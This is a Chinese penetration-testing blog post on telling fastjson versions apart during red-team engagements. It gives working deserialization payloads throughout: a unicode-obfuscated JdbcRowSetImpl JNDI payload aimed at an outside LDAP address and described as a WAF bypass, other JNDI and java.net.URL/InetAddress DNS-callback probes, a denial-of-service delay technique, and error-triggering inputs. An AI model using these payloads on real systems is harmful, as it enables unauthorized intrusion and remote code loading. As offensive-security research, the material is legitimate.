fastjson反序列化漏洞区分版本号的方法总结

 Part1 前言 

最近几天一直在审计Java漏洞,周六周天也没休息,所以上周文章就没写,今天抽空写一篇文章补上。在最近几年的攻防比赛、红队评估项目、渗透测试中,fastjson反序列化漏洞是一个非常常见的漏洞,和shiro反序列化漏洞一样,几乎每次比赛都能遇到,很多白帽子、攻击队队员都用这个漏洞拿到过权限。

对于fastjson反序列化漏洞的利用,第一步要做的事情,就是想办法去判断fastjson的版本号,因为不同版本的fastjson漏洞利用方式有所不同,比如说早期的版本1.2.x、后期的1.2.47之前版本、后期的1.2.68之前版本、最新的1.2.80版本漏洞等等。如果不能区分版本号的话,那就只能把各种POC批量打一圈了,这样做也无可厚非,但是在实战过程中,一旦漏洞利用不成功,很难准确判断原因是什么,可能是因为waf原因,可能是fastjson版本过低或者过高,可能是有openrasp在等等,无法对症下药。所以,这篇文章就分享一下,如何大致区分fastjson版本号,以便于更快地在实战中对fastjson反序列化漏洞进行研判。

 Part2 技术研究过程 

  • 判断方法分类

根据以往ABC_123开发Struts2漏洞工具、Weblogic反序列化漏洞工具的经验,判断漏洞是否存在,无非是以下几种方法:

 1  显错判断

想办法使服务器组件抛出异常,也就是报错,在报错中得到我们想要的信息。

 2  DNS请求判断

想办法触发一个DNS请求,前提是服务器出网,并且外围设备开放了DNS协议,然后你的dnslog服务地址没被监控设备拦截;

 3  TCP、UDP端口请求判断

这里不止一个人问过我,用DNS请求直接判断就可以了,为啥还得用端口来判断呢?这里我举一个例子,如果一个内网机器,它没配DNS的话,然后机器又是出网的,dnslog是收不到请求的,那么只能TCP或者UDP来判断了,这种情况我遇到过好几次了)。

 4  延迟判断

想办法使其触发一个延迟。可以执行Java的sleep代码,可以像mysql注入那样计算一个公式bench.mark(5000000,m.d5( 'test' )),也可以发起一个轻微的DoS请求。5、其它方法,比较少见,而且不适用于本次fastjson漏洞检测,这里就不具体叙述了。

接下来讲一讲对于fastjson有哪些POC可以用来判断或者区分版本号。

  • 延迟判断

先讲一下触发延迟的2个方法吧,应该说是两类方法,具体大家实战中自己发散思维。

 1  jndi请求延迟

首先看这个payload,适用于1.2.47之前版本的fastjson,这里面有一个小技巧,访问一个不常见的外网IP地址,会延迟几秒,访问一个内网地址127.0.0.1 会瞬间返回,那么证明这个POC可用,也间接证明fastjson版本是1.2.47之前的版本。那么在不出网的情况下,可以借助这个POC的延迟效果,知道目标fastjson是<=1.2.47的,进而可以花时间和精力去构造POC实现回显,或者直接打一个内存马。

以下是一个经过unicode编码的payload,一定程度上可以绕过一些waf,后续更多的fastjson绕waf方法,会专门写一篇文章讲解

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}

fastjson反序列化漏洞区分版本号的方法总结_第1张图片

以下这个POC延迟,证明fastjson版本号1.1.16<=version<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}

fastjson反序列化漏洞区分版本号的方法总结_第2张图片

 

 2  DOS漏洞触发延迟

这个POC来自于浅蓝,POC中的aaa的长度越长,触发延迟效果越明显,如果有延迟效果,那么证明fastjson版本<=1.2.59,间接证明fastjson版本<=1.2.68,这个非常重要,这说明,这个fastjson是有可能拿下权限的,值得我们在实战中花很多精力去研究它。

注:此POC慎用,不确定是否会影响业务系统,我一般实战中,是逐步增加a的数量的,切不可生搬硬套,输入一大堆a

fastjson反序列化漏洞区分版本号的方法总结_第3张图片

  • 显错判断

这个方法来自于浅蓝,两个POC如下,提交一下两个POC,会抛出异常,有时候会显示出fastjson版本号来。

1. {"@type": "java.lang.AutoCloseable"

2. ["test":1] 

3. 输入一些乱码字符,让web应用报错,有时候也会带出来版本号。

第2个POC成功率不高,但是实战中成功过几次。

fastjson反序列化漏洞区分版本号的方法总结_第4张图片

 

  • DNS请求判断

我曾经搭建了不同的fastjson漏洞环境,发现网上很多文章对于各种fastjson漏洞dnslog payload与fastjson版本号的对应描述都不准确,很多还是有错误的。这里我发出自己校勘的结果,不一定准确,仅供大家参考。

以下POC出网,说明fastjson<=1.2.47

{"name":{"@type":"java.net.InetAddress","val":"1247.xxxxx.dnslog.cn"}}

fastjson反序列化漏洞区分版本号的方法总结_第5张图片

 

 

以下这个POC出网,说明fastjson>=1.2.37

{{"@type":"java.net.URL","val":"http://weffewfddd.dnslog.cn"}:"aaa"}

fastjson反序列化漏洞区分版本号的方法总结_第6张图片

 

以下这个POC出网,证明fastjson版本号1.1.16<=version<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxxdsf.dnslog.cn:9999/POC","autoCommit":true}}

fastjson反序列化漏洞区分版本号的方法总结_第7张图片

 

 

以下这几个POC,只能证明fastjson出网,无法判断fastjson是否存在反序列化漏洞,因为最新的打了补丁的fastjson也是能发起DNS请求的。这是很多新手,误以为能DNS出网,就认为存在fastjson漏洞,这是不正确的。

{"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"}

{"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}

以下这个POC比较不错,是之前从天眼设备上抓到的,实战中用一用会有意想不到的效果。

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://allmet.dnslog.cn"}}""}

Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}]

Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}

{{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}:0}

fastjson反序列化漏洞区分版本号的方法总结_第8张图片

 

 Part3 总结 

1.  把以上的各种方法组合起来判断,写一个自动化fuzz工具,基本上大致可以判断出fastjson版本号的区间了,以便我们在实战中对症下药,快速拿下权限。

2.  上述的这些过程,部分同学可能无法理解,这么费心思的去判断fastjson版本号的意义何在?台上一分钟,台下十年功,这样的总结为的就是在实战中快速拿下权限,否则一次比赛3、4天,怼一个fastjson用了大半天时间,发现人家的版本是最新的,岂不白费功夫。还有可能一个fastjson反序列化漏洞,我们搞不定,但是发现别人搞定了,最后一咨询发现是POC是1.2.68的写文件拿下来的,但是我们却以为是最新版本,没有去尝试。

3.  还有很多POC可以用于fastjson版本判断,篇幅有限,就不一一列举了。大家可以按照上述思路自己总结出一套方法,做成小脚本或自动化工具,向工具化、武器化、自动化、平台化迈进!就很容易在实战中得到fastsjon版本号的区间,快速进行漏洞研判了。

4.  以上叙述如果有错误,欢迎大家批评指正。

原文出处:第18篇:fastjson反序列化漏洞区分版本号的方法总结 (qq.com)

你可能感兴趣的:(#,挖掘技巧,#,tips,安全,web安全)